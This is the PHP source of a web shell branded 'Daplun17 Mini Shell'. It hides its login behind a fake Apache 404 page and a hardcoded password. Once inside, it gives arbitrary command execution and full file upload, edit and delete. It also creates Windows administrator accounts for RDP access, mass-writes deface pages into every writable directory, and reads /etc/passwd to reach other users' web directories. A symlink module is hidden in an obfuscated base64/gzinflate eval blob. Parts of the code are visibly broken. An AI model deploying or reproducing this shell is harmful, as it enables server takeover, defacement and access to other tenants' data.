//simple authentication page
//authentication password
$admin_pass = 'Daplunzax';

//start
session_start();
$is_admin = false;

//auth check
if ((@$_SESSION['adminpass'] === md5($admin_pass)) or (@$_POST['password'] == $admin_pass)) {
$is_admin = true;
$_SESSION['adminpass'] = md5($admin_pass);
}
if (isset($_POST['logout'])) {
alert("Cee U L8r Alig8r :p");
$is_admin = false;
unset ($_SESSION['adminpass']);
// we'll clear the adminpass session variable to logout user properly but we keep any other settings :)
}
if ($is_admin !== true) {
/* bad password if is_admin returns false at this point so let them know */
if (isset($_POST['password'])) {
alert("Get Lost Fucker");
die('<br /><br /><br /><big><strong>
<blink>Epic Failure!</blink>
</strong></big>');
}
/* no password entered */

//password form setup for actual login screen which will present the fake 404 error message with login found centered on page
Not Foundecho "<title>Not Found</title>";
echo "

Not Found

";
echo "<p>The requested URL was not found on this server.</p><hr />";
echo "<address>Apache Server at " . $_SERVER['HTTP_HOST'] . " Port 80</address>";
echo "<style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>";
echo "
";
echo "
";
echo "<input type='password' size='8' name='password' value=''>
";
echo "";
die();
}



error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>



<link href="https://fonts.googleapis.com/css?family=Supermercado+One&display=swap" rel="stylesheet">
√ Mr Daplun17<title>√ Mr Daplun17</title>
<style>
body{
background: url(http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg) no-repeat center center fixed; #fff;
font-family:Supermercado One, sans-serif;
background-color: #000;
color: white;
-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: Aquamarine;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: #5ddcfc;
}
table{
border: 1px #000000 dotted;
}
a{
color: #00FF66;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
.lazy {
margin: 0;
font-family: Sarpanch;
}
</style>



<font color="#5ddcfc" face=""><div class="lazy">&#9884; Daplun17 Mini Shell &#9884; </font>


<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<font color="white">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green"> Upload Berhasil </font><br />';
}else{
echo '<font color="red"> Upload Gagal </font><br/>';
}
}
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$kernel = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
echo "Server IP : <font color=#00FF66>".gethostbyname($_SERVER['HTTP_HOST'])." | <font color='white'>Your IP : <font color=#00FF66>".$_SERVER['REMOTE_ADDR']." | <font color='white'>Port Server : <font color=#00FF66>".$_SERVER['SERVER_PORT']."</font>
";
echo "System : <font color=#00FF66>".$kernel."</font>
";
echo "
";
echo "<hr>";
echo "[ <a href='?'>Home</a> ]";
echo "[ <a href='?dir=$dir&to=crdp'>Create RDP</a> ]";
echo "[ <a href='?dir=$dir&to=jumping'>Jumping</a> ]";
echo "[ <a href='?dir=$dir&to=sym'>Symlink</a> ]";
echo "[ <a href='?dir=$dir&to=mass'>Mass Depes</a> ]";
echo "[ <a href='?dir=$dir&to=cmd'>Command</a> ]";
echo "
";
echo "<hr>";
if($_GET['to'] == 'crdp') {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
<br/><br/>
<div id="content-left">

<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<font size="2px" color="white">CREATE RDP</font>


<font>Username</font>
<font> : </font>



<font>Password</font>
<font> : </font>



<td colspan="3" align="center">



</div>
<br/>
<div id="content-left">

<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">

<font size="2px" color="white">OPTION



<font>Username</font>
<font> : </font>



<font>Password</font>
<font> : </font>



<font>Action</font>
<font> : </font>

<select name="aksi" >
<option value="1">Show Username</option>
<option value="2">Delete Username</option>
<option value="3">Change Password</option>
</select>






<br/>
</div>

if($_POST['submit']) { if($_POST['kshell']=="1") { $r_user = $_POST['username']; $r_pass = $_POST['password']; $cmd_cek_user = shell_exec("net user"); if(preg_match("/$r_user/", $cmd_cek_user)){ echo $gaya_root.$r_user." already available".$o; }else { $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add"); $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add"); $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add"); $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add"); if($cmd_add_user){ echo $gaya_root."<font size=2>[x] Add User : ".$r_user." Password : ".$r_pass." <font color=#B0B0B0>Success!</font></font><br/><br/>".$o; }else { echo $gaya_root."<font size=2>[x] Add User : ".$r_user." Password : ".$r_pass." <font color=#B0B0B0>Failed!</font><br/><br/>".$o; } echo "<font size=2>[x] Processing Users, Please Wait a minute..<br/>"; if($cmd_add_groups1){ echo $gaya_root."<font size=2>[x] Congratulations! User ".$r_user." <font size=2>Successfully Processed!</font><br/><br/>".$o; }else if($cmd_add_groups2){ echo $gaya_root."<font size=2>[x] Congratulations! User ".$r_user." <font size=2 color=#B0B0B0>Successfully Processed!</font><br/><br/>".$o; }else if($cmd_add_groups3){ echo $gaya_root."<font size=2>[x] Congratulations! User ".$r_user." <font color=#B0B0B0>Successfully Processed!</font><br/><br/>".$o; }else { echo $gaya_root."<font size=2>[x] Sorry User ".$r_user." <font color=#B0B0B0>Failure to Process!</font><br/><br/>".$o; } echo "<font size=2>[x] Server Info : </font><br/>"; echo $gaya_root."<font size=2>[x] ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font size=2>[x] Username : ".$r_user."</font><br/><font size=2>[x] Password : </font>".$r_pass.$o."</font><br/><br/>"; echo "<font size=2>[x] Thank for using it [x]</font><br/><br/>"; } } else if($_POST['kshell']=="2") { echo "<style>
</style>"; if($_POST['aksi']=="1"){ echo "<pre>".shell_exec("net user"); } else if($_POST['aksi']=="2") { $username = $_POST['rusername']; $cmd_cek_user = shell_exec("net user"); if (!empty($username)){ if(preg_match("/$username/", $cmd_cek_user)){ $cmd_add_user = shell_exec("net user ".$username." /DELETE"); if($cmd_add_user){ echo "<font size=2>[x] Processing, Please Wait..</font><br /><br />"; echo $gaya_root."<font size=2>[x] Congratulations! Remove User </font><font size=2>".$username." </font><font color=#B0B0B0>Success !!</font><br /><br />".$o; }else { echo $gaya_root."<font size=2>[x] Yeah :( Remove User </font><font size=2>".$username." </font><font color=#B0B0B0>Failed!!</font><br /><br />".$o; } }else { echo $gaya_root."<font size=2>Are You Kidding Me?! Username : </font><font size=2>" .$username. " </font><font color=#B0B0B0> It Does Not Exist !! </font><br /><br />".$o; } }else { echo $gaya_root."<font size=2> Please Enter the First Username to delete !! </font><br /><br />".$o; } } else if($_POST['aksi']=="3") { echo "<style>
</style>"; $username = $_POST['rusername']; $password = $_POST['gantipw']; $cmd_cek_user = shell_exec("net user"); if (!empty($username)){ if(preg_match("/$username/", $cmd_cek_user)){ $cmd_add_user = shell_exec("net user ".$username.""); if($cmd_add_user){ echo $gaya_root."<font size=2>Change the Username Password : ".$username." and Password : ".$password." <font color=#B0B0B0>Success !!</font><br /><br />".$o; }else { echo $gaya_root."<font size=2>Change Username Password: ".$username." dan Password : ".$password." <font color=#B0B0B0>Failed!!</font><br /><br />".$o; } }else { echo $gaya_root."<font size=2>Are You Kidding Me?! Username : </font><font'>" .$username. " </font><font size=2 color=#B0B0B0> It Doesn't Exist !!</font><br /><br />".$o; } }else { echo $gaya_root."<font size=2> Please Enter the First Username to delete !! </font>
<br".$o; } } } } } else{ echo "

<font color='#B0B0B0'>TOOLS CANNOT BE USED, THE SERVICE IS NOT WINDOWS!</font>
";
}
} elseif($_GET['to'] == 'mass') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi
";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function sabun_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $dirb/$namafile
";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
} elseif($_POST['tipe_sabun'] == 'murah') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
}
} else {
echo "
";
echo "

<font style='text-decoration: underline;'>Tipe Mass:</font>

<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal

<font style='text-decoration: underline;'>Folder:</font>

<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'>

<font style='text-decoration: underline;'>Filename:</font>

<input type='text' name='d_file' value='asu.php' style='width: 450px;' height='10'>

<font style='text-decoration: underline;'>Index File:</font>

<textarea name='script' style='width: 450px; height: 200px;'>Hacked By Mr.Daplun17</textarea>

<input type='submit' name='start' value='Gass Ajg!' style='width: 450px;'>
";
}
}elseif($_GET['to'] == 'sym') {
echo '<hr>';
eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6H1yOT7ZHaSRBrReKUrjCt0lakAtskqCLHPmOPi8+6u2BSyv++d+fYpE4AlVbaJhWJyHnf/b583ksnnjMGPkglJoLmLAip3ZkcH77/4/D9mXVw9Ob098N3J5P3R0cn1ocuENKFTh6oxBm2W52oNwvSTKL6fpwyahOPqtDLghmN3JBnMdFSW1uJUmhWtltpbFc6zk27tT+7jFJhk4iGwWIiFzPS7b148UIr7YdJg2Wo9JqGNmEZPJfggeBcGXpHe9/BMKyjXKUcI3qbRSgr4RfOGC+OF7Pf0uwSIzhIBQ0VFwsjAMa8m6hZu/U6ik4WOQVFr5WHeUgzcPMkB8P5NcgiRkWT2W4dByqV8QJeZwvLBJLrMGKe08y20HAQ4otLq2sVVhloYfiFSBXmGaW7ZezOcD8OGZclUYvSMOFA2q2RCqaMQsDSi8wPaaYwjCkXERX+DlZtwahvFWmkkr2fej8MS87zkDMu9rZe/tzDv6E11maE+Yw+szQexTxTYMR9ls4oyPQj9QfjYxfecXfkafZ45KnoS5QPuCnxE7VPJRVP1cVCMyx0Q9vDdyemX0M+Rz0f+vgt5oIGYVJ3JAQSls+6ObFXqaAXqU0+8oySbsVybnIkT2aBCpNJwJhtbWkBILb7o0O2rG5lRD+UidDljNlcJrZ+QsM4bAwbRIl0ZldCZ/0PZ70PjgNjGGj/nTnmAUPNuUyvJxdU5cU8jWwzaLzIqFhO2xUmJpBUesRtmqq7CIvfyB8mpszhMnEEXKjS46LCPelnNEZqAImgsY9jne95XlEUbtO3S7yqRiyQ0lfXarwuU3sJVjxpOf3qZ5bGEcuI1bzKtdXRsOXV6OBpKPASPqPemrqXz6csDSc45cwCFQjMpW9NpizILq21KJsdtAxt2UOwWshlvra3h7e3t3WqPTOvpt9uKZNUl/Lk8PjELyHSMkXL0V0RWWU7gG0EnoSI/3VAhMcQER6AROQ2UREqWIQHcLE/LtEO7sEN0/M7GzHuEZUN2PSYk3VEqvEIPgckMO9dJ4usdApuXSKIA1wAvU6VTU4z8/aKg5YFrfjMVB6KRLfZs5hyXLaa7ujGgo7e0jG2vlxSjUODYlSzAiGChV1SdUB3IIcte+4huL1yzvfOPU9qhJPdWrdpaPWQIOVEdvFqqCRw9o3GHQrWhhD5+gP49AnWGL4PPc24c+MDmaYZWSPqlP3V73uxXOddBcJj6dTL7mMGIi80aTP3gucJFes8uTEQYy+arTPmEk0hNN0TQ6zyzW+VbWJoDcTfzQxzhxEHk423mEqzOb0bID0gDzXuho3wYLevwLzWq0KpFMmq50cMVBj/AMQ3XKwi/BrA1wMY3DN9Gr9rlKkmownmJZTr+5VLeIYJ/jPNIl5I4tzci9mbEFtfsGt4fYfW6PkLAbvXe/kNoLrd+mqwfgCpq0Ing2WZrcsBYzs70aAuDxxTcUXFyEsG428C7m8P/lVgV3SWY6IIGXbwQOvjY888DTTW65schfAAtZfskQ+GW37d3nbgpoPXnv5h1bj/jMASQfFwQJJTOnN9+JunWLY9q2vILjnPsHGrSlijqfDG1rAKrTw+9ZdlA+4i0URllo+iUrk4jgjeRblY4nxeLY/d7lJRk1dGZxdNray0ap9tsvpV+2x9mX2bTfZ9jX1fY//nNdYYxw2bbORF6RV+LoMmw3mmza5MplG6Bb3v4E59EwK+CbKM4yvjz2hFoYmHtQdtrvx/Nf4H')));
} elseif($_GET['to'] == 'jumping') {
$i = 0;
echo "<div class='margin: 5px auto;'>";
if(preg_match("/hsphere/", $dir)) {
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?path=$url_user'><font color=gold>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font color=lime>RW</font>] <a href='?path=$url_user'><font color=gold>$url_user</font></a>";
}
echo $jrw."
";
}
}
}
}
if($i == 0) {
} else {
echo "
Total Ada Kodok ".$i." Di -> ".$ip;
}
echo "</pre>";
} else {
echo '


Daftar Domains:

<textarea name="url" style="width: 500px; height: 250px;">';
$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
echo '</textarea>


';
}
} elseif(preg_match("/vhosts/", $dir)) {
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$web_vh = "/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?path=$web_vh'><font color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font color=lime>RW</font>] <a href='?path=$web_vh'><font color=gold>$web_vh</font></a>";
}
echo $jrw."
";
}
}
}
if($i == 0) {
} else {
echo "
Total Ada Kodok ".$i." Di -> di ".$ip;
}
echo "</pre>";
} else {
echo '


Daftar Domains:

<textarea name="url" style="width: 500px; height: 250px;">';
bing("ip:$ip");
echo '</textarea>


';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd", "r") or die("<font color=red>Tidak Melihat /etc/passwd</font>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Tidak Melihat /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $myuser_jump) {
$user_jumping_dir = "/home/$myuser_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>Tidak Bisa Mengambil Nama Domain</font> )
";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $myuser_jump) {
echo " => ( <u>$dj</u> )
";
break;
}
}
}
} else {
echo "
";
}
}
}
}
}
if($i == 0) {
} else {
echo "
Total Ada Kodok ".$i." Di -> ".$ip;
}
echo "</pre>";
}
echo "</div>";
} elseif($_GET['to'] == 'cmd') {
echo "

<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
}
echo '

<font color="white">File Upload :</font>


';
if(isset($_GET['filesrc'])){
echo "Current File : ";
echo $_GET['filesrc'];
echo '<br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '<br />
'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="red">Change Permission Gagal</font><br />';
}
}
echo '

Permission :



';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '

Nama Baru :



';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Berhasil Edit File</font><br/>';
}else{
echo '<font color="red">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '

<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />



';
}
echo '
';
}else{
echo '<br/>
';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Directory Terhapus</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">File Terhapus</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus</font><br/>';
}
}
}
echo '
';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
Name</peller>

Size</peller>

Permission</peller>

Modify</peller>

';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '
<a href="?path='.$path.'/'.$dir.'">'.$dir.'</a>
--

';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '


<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>



">

';
}
echo '<tr class="first">';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '
<a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a>
'.$size.'

';
if(is_writable($path.'/'.$file)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '


<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>



">

';
}
echo '
</div>';
}
echo '<br />
<font size=3 ; color=#00FF66>Author By Mr.Daplun17
<font size=4 ; color=#5ddcfc>Copyright &copy; <font color="#00FF66">Purwokerto Ghost</font>


';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}